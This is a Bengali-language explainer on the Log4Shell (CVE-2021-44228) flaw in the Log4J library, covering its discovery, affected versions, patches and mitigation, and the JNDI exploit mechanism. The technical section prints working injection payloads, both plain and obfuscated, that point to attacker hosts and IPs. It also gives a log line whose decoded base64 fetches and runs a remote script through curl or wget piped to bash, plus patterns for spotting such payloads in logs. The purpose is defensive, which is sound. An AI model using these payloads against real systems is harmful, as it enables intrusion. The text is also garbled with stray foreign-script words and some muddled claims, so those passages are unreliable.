জাভা আইটি-সম্পর্কিত সব ডিভাইসে পাওয়া যায়—মোবাইল, ডেস্কটপ, সার্ভার, IoT ডিভাইস, রাউটার, প্রিন্টার, কপি মেশিন ইত্যাদি। জনপ্রিয় সফ্টওয়্যার অ্যাপ্লিকেশন এবং গেমের অধিকাংশের পাশাপাশি কাস্টোমাইজড এন্টারপ্রাইজ অ্যাপ্লিকেশনগুলো জাভা ব্যবহার করে ডেভেলপ করা হয়। মোটামুটি ৩ বিলিয়ন ডিভাইস জাভা রান করে। জাভা লাইব্রেরিগুলো জাভার রোবাস্টনেসকে আরেক তলায় নিয়ে যায়। এdawn লাইব্রেরির একটি হল Log4J, जिसे ওপেন সোর্স Apache Software Foundation দ্বারা ডেভেলপ করা হয়েছে। Log4J লাইব্রেরি জাভা-লগিং ফ্রেমওয়ার্কের অপরিহার্য অংশ এবং একটি অ্যাপ্লিকেশনের এরর মেসেজ লগ করার দায়িত্বে থাকে।
Log4J লাইব্রেরির ব্যবহার
লগিং ডেভেলপারদের একটি অ্যাপ্লিকেশন যেসব অ্যাক্টিভিটি পারফর্ম করছে সেগুলো দেখতে সাহায্য করে এবং প্রায় সব সফ্টওয়্যার অ্যাপ্লিকেশন (ক্লাউড-ভিত্তিক সহ) তার এররগুলোর জন্য লগ তৈরি করে। ডেভেলপারগণ সাধারণত নিজেদের অ্যাপ্লিকেশনের লগিং সিস্টেম তৈরি করেন না (চাকা আবার আবিষ্কার না করার জন্য) বরন ইতিমধ্যে প্রতিষ্ঠিত লগিং লাইব্রেরি ব্যবহার করতে পছন্দ করেন (কোডিং এবং ডেভেলপমেন্টে একটি সাধারণ নিয়ম) এবং জাভার সবচেয়ে জনপ্রিয় লগিং লাইব্রেরির একটি হল Log4J।
তাই, প্রায় সব অ্যাপ্লিকেশন (গভর্নমেন্ট, এজেন্সি, এন্টারপ্রাইজ, মাইক্রোসফট, অ্যাপল, গুগল ইত্যাদির অ্যাপ্লিকেশন সহ) যা জাভা দিয়ে লেখা হয়েছে সেগুলোতে এই লাইব্রেরি থাকতে পারে এবং এই ধরনের লাইব্রেরিতে ভালনারেবিলিটি থাকলে সেটি সাইবার সিকিউরিটির সবচেয়ে ভয়াবহ স্বপ্ন এবং হ্যাকারদের জন্য স্বপ্নপূরণ। বরং, এই লাইব্রেরি ওপেন-সোর্স, তাই কতগুলো ডিভাইস/অ্যাপ্লিকেশন এটি ব্যবহার করছে তার কোনো অফিসিয়াল ফিগার নেই।
Log4J অনেক জনপ্রিয় অ্যাপ্লিকেশন-এ (Twitter, Apple iCloud), গেম-এ (Minecraft, Steam), ওয়েবসাইট-এ ব্যবহার হয়। এছাড়া এই লাইব্রেরি অনেক অন্য ফ্রেমওয়ার্ক-এর অংশও (Kafka, Elasticsearch, Flink)। Log4J এক্সপ্লোইটের কারণে আক্রমণে আড়াল অ্যাপ্লিকেশন, প্রোডাক্ট, প্লাগ-ইনগুলোর তালিকা liên tục বেড়ছে।
Log4J-এ ভালনারেবিলিটি শনাক্তকরণ
প্রথম রিপোর্ট ১ ডিসেম্বর ২০২১-এ Alibaba Cloud Security team-এর Chen Zhaojun দ্বারা সারফেস করা হয়েছিল, যিনি স্ট্যান্ডার্ড বাগ হান্টিং প্র্যাকটিস এবং দায়িত্বশীল আইটি পারসোন হিসেবে Apache Foundation-কে ফ্লটে অবগত করিয়েছিলেন (যদিও কিছু বাগ হান্টার এই ধরনের ভালনারেবিলিটি হ্যাকারদের হাতে বিক্রি করে এবং সেগুলো মাসে মাসে বা বছরে বছর সন্ধান পায় না)। শনাক্তকরণ হয়েছিল Minecraft-এ। Minecraft-এর চ্যাট ফিচার হল Log4J এক্সপ্লোইট শনাক্তকরণের উৎস।
গেমের চ্যাট অ্যালগরিদম জাভা API-র উপর ভিত্তি করে যা Log4J লাইব্রেরি ব্যবহার করে এবং এই লাইব্রেরি অপরাধীদের Minecraft সার্ভার ফ্রিজ করতে, সব প্লেয়ার রিমুভ করতে ইত্যাদি করতে দেয়। অনুকূল পরিবেশে এই ভালনারেবিলিটি সহজে রিমোট কোড এক্সিকিউশন (RCE) দ্বারা ম্যানিপুলেট করা যায়, যা হুমকির লেভেল বাড়িয়ে দেয়।
Log4J লাইব্রেরিতে ভালনারেবিলিটি থাকার বিষয় ৯ ডিসেম্বর ২০২১-এ Apache পাবলিকলি স্বীকার করে। ভালনারেবিলিটিকে নাম দেয়া হয় Log4Shell এবং অফিসিয়ালি লেবেল করা হয় CVE-2021-44228-এর মতো। CVE (Common Vulnerabilities and Exposures) নাম্বারিং সিস্টেম বিশ্বজুড়ে শনাক্ত প্রতিটি ভালনারেবিলিটি/এক্সপ্লোইটকে ইউনিকলি আইডেন্টিফাই করার একটি নোমেনক্লেচার।
Log4J ক্যাটাগরাইজড হয়েছে জিরো-ডে (বা ০ দিন) ভালনারেবিলিটি হিসেবে। জিরো-ডে ভালনারেবিলিটি মানে হ্যাকাররা ডেভেলপাররা ফ্লট জানার আগে থেকেই এটিকে টার্গেট করেছেন এবং ডেভেলপারদের এক্সপ্লোইটের জন্য প্যাচ ইমপ্লিমেন্ট করার জন্য জিরো দিন আছে।
প্রভাবিত Log4J লাইব্রেরি ভার্সন এবং রিলিজড প্যাচ
Log4J ভার্সন 2.0 থেকে 2.14.1 ভালনারেবিলিটি দ্বারা প্রভাবিত হয়েছে বলে রিপোর্ট করা হয়েছে। Log4J ভার্সন 2.15.0 ছিল CVE-2021-44228-এর জন্য মূল প্যাচ যা রিলিজ করা হয়েছিল, তবে পরে Log4J-এ আরেকটি ভালনারেবিলিটি খুঁজে পাওয়া গেল (প্রায়শই নন-ডিফল্ট কনফিগারেশনে) যা লেবেল করা হয় CVE-2021-45046। এই ভালনারেবিলিটির সিকিউরিটি ইম্প্যাক্ট ছিল 3.7 (মূল ভালনারেবিলিটির তুলনায় বেশ কম)। Apache Foundation তারপর Log4j ভার্সন 2.16 রিলিজ করে মূল ফিক্সের এক্সপ্লোইট প্যাচ করে।
এই আর্টিকেল লিখতে লিখতে আরেকটি প্যাচ Log4J ভার্সন 2.17 CVE-2021-45105 (Denial-of-Service/DoS আক্রমণ) লেবেল করা ভালনারেবিলিটির জন্য Apache থেকে রিলিজ করা হয়েছে। প্যাচ সম্পর্কে ইনফরমেশন Apache ওয়েবসাইটের অফিসিয়াল Log4J সিকিউরিটি পেজে পাওয়া যাবে।
অনেক পাঠক ভাবতে পারেন প্যাচই Log4J-এ অ্যাপ্লাই হয়েছে তাহলে এই হায়তাওবা কেন? যদিও Log4J লাইব্রেরির লেটেস্ট ভার্সন প্যাচড, তবুও পুরনো ভার্সন ব্যবহার করা অ্যাপ্লিকেশন, প্রোডাক্ট, প্লাগ-ইন ইত্যাদি এখনও আনপ্যাচড। এছাড়া আব্যান্ডনওয়্যার অ্যাপ্লিকেশনগুলোও আছে যারা ভালনারেবল Log4J ভার্সন ব্যবহার করছে। আব্যান্ডনওয়্যার হল সফ্টওয়্যার প্রোডাক্ট যা তার মালিক/ম্যানুফ্যাকচারার দ্বারা উপেক্ষিত/আর ডেভেলপ করা হয় না এবং অফিসিয়াল সাপোর্ট ছাড়া।
Log4J এক্সপ্লোইটের ভয়াবহতা
সিকিউরিটি ইম্প্যাক্ট রেটিং-এ Log4J এক্সপ্লোইট সহজে ১০/১০ (সর্বোচ্চ রিস্ক লেভেল) ক্যাটাগরাইজ করা যায়। এই ভালনারেবিলিটির ম্যাগনিটিউড এত বড় যে সব বড় প্লেয়ার (মাইক্রোসফট, গুগল, সিসকো ইত্যাদি) পাশাপাশি গভর্নমেন্ট এবং Apache (Log4J-এর ডেভেলপাররা) দিন রাত এক করে প্যাচ করতে लगे আছেন। এই কোম্পানিগুলোর উদ্বেগ এবং প্রতিক্রিয়া তাদের অফিসিয়াল ওয়েবপেজ বা সোশ্যাল মিডিয়া অ্যাকাউন্টে দেখা যাচ্ছে। ভালনারেবিলিটির গম্ভীরতাটি বোঝা যায় যখন Jen Easterly, CISA ডিরেক্টর (US Cybersecurity and Infrastructure Security Agency) Log4J এক্সপ্লোইটকে বলে:
আমার পুরো ক্যারিয়ারে যে সবচেয়ে গম্ভীর সমস্যাগুলোর একটি, যদি না সবচেয়ে গম্ভীরটা।
এই গম্ভীরতাই কারণ আইটি ইন্ডাস্ট্রি লিডাররা মনে করেন Log4J ভালনারেবিলিটি বছর পর বছর ইন্ডাস্ট্রিকে আতঙ্কিত করবে।
Log4J ভালনারেবিলিটি আগে কেন শনাক্ত হয়নি?
অনেক ব্যবহারকারীর মনে প্রশ্ন আসে যে, Log4J লাইব্রেরি ২০১৩ থেকে উপলব্ধ থাকায় এত বড় ম্যাগনিটিউডের ভালনারেবিলিটি আগে কেন শনাক্ত হয়নি? যদিও USA 2016 BlackHatEvents-এ Log4J-এর একটি ভালনারেবিলিটি প্রেজেন্ট করা হয়েছিল, যা JNDI-কে আট্যাক ভেক্টর হিসেবে আলোচনা করেছিল, তবে বর্তমান ভালনারেবিলিটি হল একটি টেমপ্লেট ইনজেকশন যা JNDI ব্যবহার করতে দেয়।
কিন্তু সফ্টওয়্যার অ্যাপ্লিকেশনে এক্সপ্লোইট শনাক্ত করা কঠিন কারণ নতুন প্রযুক্তি উদ্ভব করার সাথে আইটি ইন্ডাস্ট্রির হরাইজন চেঞ্জ হয় (যেমন, ইন্টারনেট আবিষ্কারের আগে এবং পরে সফ্টওয়্যার অ্যাপ্লিকেশন আলাদা কাহিনী)। এছাড়া如前обলিত, Log4J লাইব্রেরি ভার্সন ২.০-এর নিচেরগুলো প্রভাবিত হয়নি (তাদের নিজস্ব ইস্যুরা রয়েছে), তাই প্রযুক্তির উন্নতিই ছিল কারণ এই এক্সপ্লোইট শনাক্ত করা সম্ভব হয়েছে।
Log4J ভালনারেবিলিটি ব্যবহার করে আক্রমণ
নতুন এক্সপ্লোইট পাওয়ার সাথে হ্যাকাররা তাদের টুলগুলো এক্সপ্লোইট ব্যবহার করার জন্য টার্গেট করছে। এক্সপ্লোইট টার্গেট করার প্রথম ম্যালওয়্যার ছিল CryptoMiners (যা Афেক্টেড মেশিন থেকে ক্রিপ্টোকারেন্সি মাইন করে)। এরপর Cobalt Strike (পেনিট্রেশন টেস্টিং) যোগ দিয়ে ইনফেক্টেড সিস্টেম থেকে ইউজারনেম/পাসওয়ার্ড চুরি করা হয়। তারপর র্যানসমওয়্যার-ভিত্তিক ম্যালওয়্যার যেন Khonsari এবং তালিকা চলছে। এবং শেষ কিন্তু কম না, বিভিন্ন দেশের স্টেট-ব্যাকড হ্যাকিং গ্রুপ দাঁড়িয়ে এই ভালনারেবিলিটি এক্সপ্লয়েট করে প্রতিদ্বন্দ্বীদের আক্রমণ করছে। ESET-এর একটি ম্যাপে রিপোর্টেড আক্রমণের ভলিউম দেখা যাচ্ছে (সর্বোচ্চ আক্রমণ USA, UK, জার্মানি, তুর্কি, নেদারল্যান্ডসে)।
এখন পর্যন্ত ১৮ লক্ষও বেশি রিপোর্টেড ইনসিডেন্ট (এখনো চলছে) Log4J এক্সপ্লোইট ব্যবহার করে হ্যাকাররা আক্রমণ করার চেষ্টা করছে। প্রায় ৪০ শতাংশ কর্পোরেট নেটওয়ার্ক এই ভালনারেবিলিটি ব্যবহার করে আক্রমণ 당 করেছে। এক্সপ্লোইট কোড বিভিন্ন সাইটে উপলব্ধ থাকায় বিষয়টি আরও বড় হয়ে গেছে। বরং, এক্সপ্লোইট HTTP এবং HTTPS প্রোটোকল-দ্বারাও টার্গেট করা যাচ্ছে, এতে বিষয়টি জটিল হয়েছে।
কিন্তু এটা শুধু শুরুর পয়েন্ট কারণ যদি ভালনারেবিলিটি টার্গেট করে একটি ম্যালওয়্যার ওর্ম ডেভেলপ করা হয়, তবে এর ইম্প্যাক্ট মূল ভালনারেবিলিটির চেয়ে অনেক বেশি হতে পারে। কারণ, কম্পিউটার ওর্ম একটি স্ট্যান্ডআলোন সফ্টওয়্যার যা শান্তভাবে নিজেকে রিপ্লিকেট করে নেটওয়ার্কের মাধ্যমে ছড়িয়ে পড়ে (যেমন ২০০০-এর দশকে Code Red worm বা ২০১৭-এ WannaCry)।
এটি কীভাবে কাজ করে
Log4J লাইব্রেরি (লগিং ফ্রেমওয়ার্কসহ) একটি অ্যাপ্লিকেশন কী করছে সেটি ট্র্যাক রাখে এবং এক্সপ্লোইট ব্যবহার করতে হ্যাকারকে শুধু একটি লগ এন্ট্রি Log4J-এ ফোর্স করতে হয় একটি সিম্পল টাস্ক দিয়ে—যেমন অ্যাকাউন্টের ইউজারনেম সেট করা বা কোড স্ট্রিং ইমেইলে পাঠানো। অ্যাপ্লিকেশনের লগ এন্ট্রি আক্রমণকারী লগিং ফ্রেমওয়ার্কে তৈরি করলে অ্যাপ্লিকেশন থেকে অ্যাপ্লিকেশনে বা কম্পিউটার থেকে কম্পিউটারে ভিন্ন হতে পারে (যেমন Minecraft-এ চ্যাট ফিচার ব্যবহার করা হয়েছিল)। একবার দূষিত কোডসহ লগ এন্ট্রি তৈরি হলে, আক্রমণকারী মেশিনে ম্যালিশিয়াস কোড লোড করতে পারে, সিস্টেমের পূর্ণ নিয়ন্ত্রণ নিতে পারে, নেটওয়ার্কের মাধ্যমে ছড়িয়ে দিতে পারে, ম্যালওয়্যার ইনস্টল করতে পারে, অন্য আক্রমণ চালু করতে পারে বা যা ইচ্ছা।
এই ভালনারেবিলিটির সবচেয়ে বিপজ্জনক অংশ হল এটি "প্রি-অথেনটিকেটেড," অর্থাৎ হ্যাকারকে একটি ভালনারেবল সিস্টেমে সাইন ইন করতে হয় না সেটি নিয়ন্ত্রণ করার জন্য।
এক্সপ্লোইটকে নিচের ধাপগুলোতে বর্ণনা করা যাক:
- এক্সপ্লোইট হ্যাকার দ্বারা ট্রিগার করা হয় একটি ম্যালিশিয়াস পেলোড ইউজার-সাপ্লাইড ইনপুটের মাধ্যমে পাঠিয়ে। এই পেলোড হতে পারে HTTP/HTTPS হেডার বা অন্য যেকোনো জিনিস যা ভালনারেবল অ্যাপ্লিকেশন Log4j ব্যবহার করে লগ করছে।
- অ্যাপ্লিকেশন ম্যালিশিয়াস পেলোডটি লগ করে তার ডেটাতে।
- Log4J লাইব্রেরি ম্যালিশিয়াস ইউজার ইনপুট ইন্টারপ্রেট করার চেষ্টা করে এবং হ্যাকার-নিযন্ত্রিত সার্ভারের সাথে কানেক্ট করে (যেমন LDAP)।
- ম্যালিশিয়াস সার্ভার (যেমন LDAP) রেসপন্স ফেরত দেয় যা অ্যাপ্লিকেশনকে একটি রিমোট ক্লাস জাভা ফাইল লোড করার ইনস্ট্রাকশন দেয়।
- অ্যাপ্লিকেশন রিমোট ফাইলটি ডাউনলোড ও এক্সিকিউট করে যা হ্যাকারের খারাপ কর্মের জন্য দরজা খুলে দেয়।
প্রসেসটি নিচের চার্টে ব্যাখ্যা করা হয়েছে।
আপনি কি নিরাপদ?
উপরের বিষয়গুলো পড়ার পর একজন ব্যবহারকারীর মনে প্রশ্ন আসতে পারে যে আমি কি নিরাপদ? এটি নির্ভর করে। যদি একজন ব্যবহারকারী এমন একটি সংস্থার অংশ হন যা Java Log4J লাইব্রেরি ব্যবহার করে, তবে সে এবং তার সংস্থা রিস্কে আছে। যদি একজন ব্যবহারকারী বা তার সংস্থা কিছুই জাভা-ভিত্তিক ব্যবহার করে না (বেশ অসম্ভাব্য) কিন্তু এন্টারপ্রাইজ অ্যাপ্লিকেশন ডিপেন্ডেন্সি, থার্ড-পার্টি ভেন্ডর ইউটিলিটি বা অ্যাপ্লিকেশন জাভা-ভিত্তিক হয়, তবে ব্যবহারকারী বা তার সংস্থা রিস্কে হতে পারে। আপনি যে অ্যাপ্লিকেশনগুলো ব্যবহার করছেন সেগুলো ভালনারেবল কিনা ইন্টারনেটে সার্চ করে জানতে পারেন।
কী করবেন?
শেষ চোখের প্রশ্ন, আপনার সিস্টেম বা সংস্থায় Log4J ভালনারেবিলিটি থাকলে কী করবেন।
একজন ইউজারের জন্য
একজন সাধারণ এন্ড-ইউজার এই ভালনারেবিলিটি নিয়ে কিছুই সুবস্তানশিয়াল করতে পারবেন না ছাড়া তার অ্যাপ্লিকেশনগুলো (বিশেষ করে অ্যান্টিভাইরাস/অ্যান্টি-ম্যালওয়্যার অ্যাপ্লিকেশন), ডিভাইস বা OS আপ টু ডেট রাখা। যদি ইউজার আব্যান্ডনওয়্যার কোনো ফর্ম ব্যবহার করে, তবে সেটি আনইনস্টল করলে তার সিস্টেম নিরাপদ থাকতে পারে। এছাড়া, যদি আপনি কোনো অনলাইন সার্ভিস ব্যবহার করেন (যেমন Stream), তবে সেগুলো প্যাচ অ্যাপ্লাই করেছে কিনা চেক করা (তাদের অফিসিয়াল পেজ বা সোশ্যাল মিডিয়া হ্যান্ডেল চেক করে) একটি সাধারণ ইউজারের জন্য পথ।
একজন সংস্থার জন্য
এক সংস্থাকে Log4J এক্সপ্লোইট থেকে সুরক্ষিত রাখার মাইলেজ সংস্থা থেকে সংস্থায় ভিন্ন হতে পারে। প্রথম ধাপ হলে পুরো ইনফ্রাস্ট্রাকচার, অ্যাপ্লিকেশন ডিপেন্ডেন্সি, থার্ড-পার্টি ভেন্ডর ইউটিলিটি বা রিমোট ইমপ্লয়ീ-এর একটি অডিট করা যাতে ভালনারেবিলিটি আছে কিনা বের করা যায়। অডিটটি অ্যাপ্লিকেশন লগে নিচের প্যাটার্ন বা তাদের ডেরিভেশন খুঁজবে:
${jndi:ldap:/} ${jndi:ldaps:/} ${jndi:rmi:/} ${jndi:dns:/} ${jndi:iiop:/}
সংস্থা অটোমেটেড থ্রেট হান্টিং এবং ইনভেস্টিগেশন টুল (যেমন Log4J Vulnerability Tester by TrendMicro) ব্যবহার করেও স पता করতে পারে কোনো অ্যাপ্লিকেশনে Log4J ভালনারেবিলিটি আছে কিনা। সংস্থার ডেভেলপারদের তাদের কোডে Log4J ভালনারেবিলিটির যেকোনো রেফারেন্স আছে কিনা চেক করার দায়িত্ব দিন। এছাড়া, সংস্থার ইন্টারনেট-ফেসিং ডিভাইসগুলো যত তাড়াতাড়ি সম্ভব প্যাচ করুন ক্যাটাস্ট্রফি এড়াতে। সংস্থা যত দ্রুত সম্ভব কাজ করুক কারণ ব্যাড গাইরা অন্যদের চেয়ে কমপক্ষে ৭ দিন আগে থেকে এই ভালনারেবিলিটি টার্গেট করতে শুরু করেছে।
দ্বিতীয়ত, একটি ওয়েব অ্যাপ্লিকেশন ফায়ারওয়াল যত তাড়াতাড়ি সম্ভব রাখুন সংস্থার রিসোর্স এবং ডেটা সুরক্ষিত রাখতে। প্রায় সব বড় প্লেয়ার (মাইক্রোসফট, অরাকল, অ্যাপল, গুগল, অ্যামাজন ইত্যাদি) তাদের সার্ভিস আপডেট করে তাদের প্রোডাক্টের জন্য প্যাচ রিলিজ করেছে। তাই সংস্থা নিশ্চিত করুক যে তারা যেসব অ্যাপ্লিকেশন এবং সার্ভিস ব্যবহার করছে সেগুলো লেটেস্ট ভার্সনে প্যাচড। বরং, এন্টারপ্রাইজ সংস্থাগুলো অনাবশ্যক ইন্টারনেট ট্রাফিক লিমিট করুক এক্সপোজার কমাতে, যা রিস্ক লেভেল কমাবে।
ভালনারেবিলিটির টেকনিক্যাল দিক
এখন পর্যন্ত আমরা লেম্যান টার্মস में Log4J ভালনারেবিলিটি কভার করার চেষ্টা করেছি কিন্তু এই সেকশনে আমরা ডেভেলপারদের টেকনিক্যাল টার্মস-এ Log4J ভালনারেবিলিটি আলোচনা করব। এই ভালনারেবিলিটি এক্সপ্লয়েট হয় JNDI (Java Naming and Directory Interface) Lookup ব্যবহার করে। এর ফলে ডিনায়াল-অফ-সার্ভিস (DoS) আক্রমণ হতে পারে। যখনি JNDI ${a_Java_expression} ন্যায় এক্সপ্রেশন খুঁজে পায়, সেটি সেই এক্সপ্রেশনের ভ্যালু খুঁজে বের করে রিপ্লেস করে। কিছু Log4J সাপোর্টেড লুকআপ হল sys, JNDI, env, java, lower, upper। কিছু Log4J লুকআপ দ্বারা সাপোর্টেড প্রোটোকল হল LDAP, DNS, RMI, IIOP। অ্যাপ্লিকেশন লগে এন্ট্রি ইনজেক্ট করতে আক্রমণকারী HTTP রিকোয়েস্ট ব্যবহার করতে পারে একটি সার্ভারে এবং রিকোয়েস্ট রিসিভ করলে, Log4J লুকআপ ম্যালিশিয়াস.class ডাউনলোড ও এক্সিকিউট করবে (হ্যাকার-নিযন্ত্রিত LDAP সার্ভারে হোস্টেড), যদি LDAP অবজেক্টের ObjectClass অ্যাট্রিবিউট javaNamingReference হিসেবে ডিফাইন করা থাকে এবং নিচের অ্যাট্রিবিউটগুলো থাকে:
javaCodebase javaFactory javaClassName
তবে LDAP অবজেক্ট লোডার javaCodebase-এ ডিফাইন করা ম্যালিশিয়াস URL-এর কন্টেন্ট এক্সট্র্যাক্ট করে মেমোরিতে একটি করেসপন্ডিং অবজেক্ট তৈরি করবে। একবার মেনশন্ড ক্লাসের ইনিশিয়ালাইজেশন মেথড বা আনপचारিকভাবে কনস্ট্রাক্টর এক্সিকিউট হলে, একটি আনট্রাস্টেড কোড আনট্রাস্টেড সোর্স থেকে ইনফেক্টেড মেশিনে চলবে।
সর্বाधিক বেসিক এক্সপ্রেশন যা একজন আক্রমণকারী Log4J-এ ইনজেক্ট করতে পারে:
${jndi:ldap://{attacker_website}/a}
এটি এক্সিকিউট করবে ম্যালিশিয়াস কোড যা হোস্টেড আছে:
https://{attacker_website}/{malicious.class}
ম্যালিশিয়াস কোড সফলভাবে এক্সিকিউট হলে, সার্ভার স্ট্রিং ইন্টারপ্রেট করে শেল কমান্ডে রূপান্তরিত করে বিভিন্ন ফরম্যাটে যেমন JavaScript, Java Class, Unix shell ইত্যাদি।
ভালনারেবিলিটির গম্ভীরতা বাড়ানোর আরেকটি ফ্যাক্টর হল Java ${} ব্লকের নেস্টিং অ্যাবিলিটি যা সাস্পিশাস স্ট্রিং ডিটেকশনকে অনেক কঠিন করে দেয়। উদাহরণস্বরূপ, ${jndi:} ব্যবহার না করে হ্যাকাররা ${${lower:jn}${lower:di}} ব্যবহার করতে পারে যা হ্যাকারদের রিমোট সার্ভার থেকে ইনফরমেশন/ডেটা এক্সট্র্যাক্ট করতে দেয়।
একটি إن্টারেস্টিং প্রশ্ন পাঠকের মনে আসতে পারে কোডটি কোথায় রাখবেন যাতে Log4J লাইব্রেরিতে ল্যান্ড করতে পারে? অনেক অ্যাপ্লিকেশন তাদের সাথে ঘটা সবকিছু লগ করে جمله ইনকামিং রিকোয়েস্ট যেমন HTTP হেডার (User-Agent বা X-Forwarded-For), URI, রিকোয়েস্ট বডি ইত্যাদি। সবচেয়ে খারাপ অংশ হল একজন আক্রমণকারী ইন্টারনেট থেকে যেকোনো সময় এমন রিকোয়েস্ট অ্যাপ্লিকেশনের লগারে পাঠাতে পারে এবং তারপর ইনফেক্টেড মেশিন কন্ট্রোল করার কমান্ড দিতে পারে। প্রসেসটি নিচের ডায়াগ্রামে স্পষ্ট করা হয়েছে।
নিচে কিছু উদাহরণ দেওয়া হলো URL-এর যেগুলো শনাক্ত করা হয়েছে এতক্ষণে Log4J লাইব্রেরি ব্যবহার করে বিভিন্ন টাইপের আক্রমণ শুরু করার জন্য:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com}
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo}
${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}
HTTP সার্ভার লগ-এর একটি টুকরো যা Log4J এক্সপ্লোইট অ্যাটেম্প্ট দেখাচ্ছে:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"
উপরের লগের base64 স্ট্রিং ডিকোড করলে:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
এটি 45.155.xxx.xxx থেকে ম্যালিশিয়াস কোড ফেচ করে এবং Bash ব্যবহার করে স্ক্রিপ্ট রান করে।
শেষে, আমরা আপনার পাঠকদের এই হুমকির বিরুদ্ধে সতর্ক থাকার অনুরোধ করব এবং এটিকে হালকায় নিবেন না কারণ ইন্টারনেট এই ভালনারেবিলিটি কারণে আজ আগুনে জ্বলছে।